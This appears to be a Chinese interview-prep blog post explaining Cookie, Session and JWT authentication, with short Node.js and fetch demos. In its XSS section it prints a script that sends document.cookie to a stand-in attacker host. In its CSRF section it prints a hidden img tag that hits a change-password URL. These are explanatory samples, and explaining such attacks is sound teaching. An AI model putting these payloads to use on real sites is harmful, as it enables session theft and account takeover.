在近期的面试中,面试官问到了关于 Cookie、Session 和 Token 的区别。没答好,我想通过这篇文章,巩固一下这方面的知识,分享一下我对于这个问题的理解,希望也能对大家有所帮助。
我的回答
Cookie、Session 和 Token 它们都是在身份验证和授权时候使用的。
-
Cookie 存储在客户端的浏览器中,大小为 4KB 左右,每次请求都会在请求头中携带 Cookie ,数据可以被轻易查看和修改,容易遭受 XSS 和 CSRF 网络攻击。
-
Session 是由服务端创建并存储的,在请求登录时,服务端会生成一个 session 会话发送给客户端,并在响应头中设置 Set-Cookie,包含了 sessionId,sessionId 存在客户端的 cookie 中,后面每次请求都会带上 cookie,服务端根据 sessionId 查找对应的 Session 信息。
-
Token 是一种令牌,可以是随机生成的字符串或其他格式的凭证。JWT就是Token的一种表现形式,它由头部、负载、签名三部分组成的 Base64 编码的字符串,通过当用户登录,服务器会校验用户名密码,随后生成JWT发送给客户端,客户端下次请求需要携带token给服务器,服务器通过密钥解密进行校验。
官方一点的描述
无状态协议
HTTP是一种无状态协议,它在处理事务时没有记忆能力。每个HTTP请求都是独立的,服务器在处理请求时不会保存任何关于客户端的状态信息。这意味着服务器无法直接识别来自同一客户端的不同请求,也无法确认当前请求的发送者是否与之前的请求发送者是同一个人。
为了解决这个问题,服务器和浏览器需要采取一些机制来跟踪会话状态,以便确保在多个HTTP请求之间维持一致的用户身份。其中一种常见的机制是使用Cookie。
Cookie
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据。浏览器会存储 cookie 并在下次向同一服务器再发起请求时携带并发送到服务器上,服务器根据cookie进行验证,从而保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。
实现
<script>
fetch('http://localhost:3000')
.then(res=>{
document.cookie = res.headers.get('Set-Cookie');//将cookie存在本地
return res.json()
}
)
.then(data=>console.log(data))
</script>
模拟第一次登录
const http = require('http')
const server = http.createServer((req,res)=>{
res.writeHead(200,{
'Access-Control-Allow-Origin' : '*',//允许跨域
'Set-Cookie': 'i-am-a-cookie'//设置cookie
}
)
const data = 'hello cookie'
res.end(JSON.stringify(data))
})
server.listen(3000,()=>{
console.log('listening on port 3000');
})
后端模拟接收到请求并已校验登录信息,设置 Cookie,并返回给前端
前端拿到数据:
响应头中显示Cookie:
前端将Cookie存入本地:
- 特点:Cookie是一种在客户端存储数据的机制,由服务器通过 HTTP 响应发送给客户端,并由浏览器保存。每个 Cookie 通常包含一个键值对,用于存储特定的数据,如会话标识符、用户偏好设置等。
- 优点:简单易用,适用于存储少量数据;客户端可控,可以设置Cookie的过期时间和作用域;广泛支持,几乎所有的Web浏览器都支持Cookie。
- 缺点:有大小限制,每个Cookie通常只能存储几KB的数据;无法跨域;会降低性能,因为每个HTTP请求都会携带Cookie信息;安全性较低,Cookie中的数据可能会被窃取或篡改,容易遭受 XSS 和 CSRF 攻击。
XSS
跨站脚本攻击(Cross-Site Scripting,XSS)攻击是一种常见的 Web 安全漏洞,攻击者通过注入恶意脚本来利用用户对网站的信任,从而窃取用户信息、会话 cookie 等敏感信息。虽然通常我们不会在 cookie 中存储敏感信息,但是在某些情况下,攻击者可以利用 XSS 攻击来窃取 cookie。
攻击者可以在搜索框等场景中注入恶意脚本:
<script>
const cookieData = document.cookie;
fetch('http://attacker.com/steal-cookie?cookie=' + encodeURIComponent(cookieData));
</script>
当用户进行搜索操作,脚本将被执行。导致用户的 cookie 数据被发送到攻击者的服务器。攻击者现在可以使用这些 cookie 数据进行恶意操作,例如篡改用户资料、发表评论等。
CSRF
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种 Web 安全攻击,攻击者利用用户已认证的会话来执行未经用户授权的操作。攻击者诱使受害者在登录状态下访问恶意网站,该网站会自动发起对目标网站的请求,利用受害者的身份执行某些操作,比如改变用户资料、发表评论、转账等。
攻击者 HTML 页面,其中包含一个隐藏的 <img>
标签,src 属性指向目标网站的修改密码接口。当受害者在登录状态下访问了这个恶意页面时,浏览器会自动加载这个图片并发送一个修改密码的请求,利用受害者的身份执行了修改密码的操作。
<img src="http://target-website.com/change-password?newPassword=attacker_password" style="display: none;">
所以告诉我们,陌生链接不要点!
Session
Session 是指在客户端和服务器之间建立的一种持续的交互状态。当用户首次访问网站时,服务器会为该用户生成一个唯一的会话标识符(Session ID)。这个标识符通常是一个随机的字符串,用于唯一标识用户的会话。生成的会话数据存储在服务器中,服务器会将生成的Session ID发送给客户端。客户端的浏览器会将接收到的会话 cookie 存储在本地。每次客户端向服务器发送请求时,会自动将 cookie 包含在请求头中,从而使服务器能够识别用户的会话。
使用流程
- 特点:Session是一种在服务器端存储数据的会话管理机制,用于跟踪用户在网站上的活动状态。服务器会为每个客户端创建一个唯一的会话对象,并在服务器端保存会话数据,通常存储在内存或数据库中。
- 优点:数据存储在服务器端,相对较安全;可存储大量数据,不受客户端限制;支持复杂的数据结构和操作。
- 缺点:消耗服务器资源,每个会话都需要占用一定的服务器内存或数据库存储空间;跨服务器时需要额外的管理机制,如Session复制或共享。
Token
Token 是一种用于进行身份验证和授权的令牌,通常由服务器生成并发送给客户端。与 Session 不同,Token 是无状态的,它包含了所有必要的信息以验证用户身份和访问权限,因此不需要在服务器端存储任何会话数据。常见的 Token 包括基于JSON Web Token(JWT)。
这里介绍一下JWT,参考阮一峰老师的日志(JSON Web Token 入门教程 – 阮一峰的网络日志 (ruanyifeng.com))
JWT由三部分组成:
- Header 部分是一个 JSON 对象,描述 JWT 的元数据,包括签名的算法等等。然后将这个的 JSON 对象编译 Base64编码字符串。
- Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。同样将这个的 JSON 对象编译 Base64编码字符串。
- Signature 部分是对前两部分的签名,防止数据篡改。使用服务器密钥和 Header 中指定的签名算法进行签名。
将三者用 “.
” 拼接得到如下令牌:
使用流程
用户第一次请求,服务器校验用户密码,生成JWT并返回给客户端,客户端可以储存在 Cookie 里面,也可以储存在 localStorage。此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization
字段里面。服务端收到JWT进行密钥解密校验,通过则响应数据,反之
- 特点:Token是一种用于进行身份验证和授权的令牌机制。
- 优点:无状态,服务器不需要保存任何会话数据,减轻了服务器的负担;可扩展性好,易于实现跨域认证和授权;安全性较高,Token通常使用签名或加密技术保护数据安全。
- 缺点:一旦 Token 签发了,到期之前就会始终有效,除非服务器部署额外的逻辑,一旦泄露,可能会被滥用;Token的生成和验证可能会引入一定的复杂性。
总结
- HTTP 是无状态的,为了维持请求状态,需要手动借助一些手段。
- Cookie 是最早的技术,储存在客户端,安全性较差,需要注意防范网络攻击。
- Session 是一种服务器端存储技术,基于 cookie 存储 SessionID,Session存储在服务器,通过前端携带的Cookie进行身份验证。
- token JWT是无状态的,支持跨域,使得服务器不再需要存储 Session,是一种灵活和安全的身份验证手段。
最后
看到这里希望你已经对 Cookie、Session、Token 有了初步的认识,如果对本篇文对您有帮助,欢迎点赞、收藏、评论 !🙏
已将学习代码上传至 github,欢迎大家学习指正!
参考
傻傻分不清之 Cookie、Session、Token、JWT – 掘金 (juejin.cn)
JSON Web Token 入门教程 – 阮一峰的网络日志 (ruanyifeng.com)
技术小白记录学习过程,有错误或不解的地方还请评论区留言,如果这篇文章对你有所帮助请 “点赞 收藏+关注” ,感谢支持!!
原文链接:https://juejin.cn/post/7349360471415275571 作者:阳阳羊